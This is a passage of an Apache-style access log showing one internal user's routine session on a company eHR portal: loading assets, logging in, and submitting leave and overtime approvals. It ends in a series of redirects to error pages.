Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:58:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.167 - - [03/Dec/2025:09:58:46 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 192.168.11.167 - - [03/Dec/2025:09:58:46 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.167 - - [03/Dec/2025:09:58:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14327 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14327 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://hcp.maglayers.com.cn:8088/eHR/css/default.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.167 - - [03/Dec/2025:09:59:03 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4496 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:03 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4496 192.168.11.167 - - [03/Dec/2025:09:59:04 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:04 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.167 - - [03/Dec/2025:09:59:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.167 - - [03/Dec/2025:09:59:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.167 - - [03/Dec/2025:09:59:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 38573 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 38573 192.168.11.167 - - [03/Dec/2025:09:59:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132705%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132705&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132705%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132705&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET 